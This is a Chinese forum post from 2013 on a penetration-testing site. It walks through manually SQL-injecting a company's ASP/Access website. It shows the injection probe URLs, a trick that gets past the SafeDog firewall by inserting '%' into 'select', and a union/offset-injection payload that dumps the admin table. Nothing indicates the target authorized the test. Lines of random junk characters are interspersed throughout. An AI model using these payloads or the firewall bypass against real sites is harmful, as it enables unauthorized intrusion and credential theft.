中国网络渗透测试联盟
标题:
一次手工渗透突破安全狗防御+ACCESS偏移注入
[打印本页]
作者:
admin
时间:
2013-3-8 21:49
标题:
一次手工渗透突破安全狗防御+ACCESS偏移注入
打开网站，一个企业站。
6 _& X0 k" X5 _. l. [0 Y
1 p ~: J4 a$ C6 I& a4 D0 w) K
2 x2 |; ]9 l) n3 j* r9 j& N
顺手加个admin
) h: R8 |) Z. x: q' ^, J
) @6 f8 ?3 T, f5 k q
\6 A3 w, Y9 h6 p, z$ h
默认后台。
/ p, ?; F, O$ ~8 O
回到首页点开个产点连接在参数后面加上：and 1=1,发现有狗。
$ w Z9 g, _8 W! T m5 l
* O2 G0 }, c, }( m1 w! W6 I
% a" A! }2 x: {+ V# U/ `8 q# _
U: j) r$ d9 k, N" W9 L e* G
所以就不用御剑扫了，待会直接封IP。
S! k$ D# j, m0 B
4 m1 v5 N b% {* m( p* Z0 k
用order by语句判断是否存在注入。
, i" j _" M3 Z$ l: H* X: |* T
http://www.xxx.com
/product_show.asp?id=997 order by 1
3 C$ V/ C' Q+ ^/ l
http://www.xxx.com
/product_show.asp?id=997 order by 100
5 U& b! M y& t, O' y: D# z s- B
现在存在注入，经测试后发现是9个字段。
& o+ ~6 l9 n. B1 y2 T* P
" L8 c. f6 Y; l. r2 g
接下来进行联合查询，猜是否存在admin表。
/ r) z' Z6 `) Y7 U$ F) E( A
http://www.xxx.com
/product_show.asp?id=997+union+select+1,2,3,4,5,6,7,8+from+admin 被狗拦截。
6 H; P0 b9 E: v$ W9 a, v% j3 U
$ R3 r3 W, s; B3 e
' b; u( m; d3 M6 w$ `
8 d: _* Q" k- z8 h3 ^2 ?
在select中间加个%,se%lect绕过安全狗。
- n! l# `/ Q# C; x6 m! R2 Q$ O6 v6 z
% U X1 I/ |5 c4 Y2 {1 F
; r4 {( m7 l' w4 P2 K
发现存在admin表，然后开始手工猜常用的字段。
) x6 u' S: n- d* [+ j( a1 M+ D
纠结的是手工把常用的字段都猜遍了，也没猜到一个字段。陷入迷茫中。
3 t" M7 V3 n( e+ r
3 [/ n! j3 A+ b$ P
突然想起之前看到的一篇关于access偏移注入的文章，文章就是说在注入猜不到字段时可以尝试一下这个方法，之前我特地去测试过这种方法，但是爆不出来，也没太在意。现在也只能试一下这种方法，拼一下人品了。
8 h2 r8 {8 l9 ?- G& {6 f( c
2 I4 c% k* h: Q% A! W
科普知识就不讲了，如果有不懂的可以加我Q：519582321 一起交流，有深圳的基友也可以加一起搞基情。
/ y. l1 @9 E. |+ ^8 o: g
http://www.xxx.com
/product_show.asp?id=997+union+s%elect+1,2,3,4,5,* from+admin
" f& j* x2 j/ E2 e$ v9 \: Y. Y
好了，敏感内容出显了。
* y) N1 O* C# \( h {3 r8 n0 h
7 `3 l# s: q$ z4 X" _
" ]7 T9 Q; a& f* |
8 N7 {, i5 Y) C, |7 q0 A
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2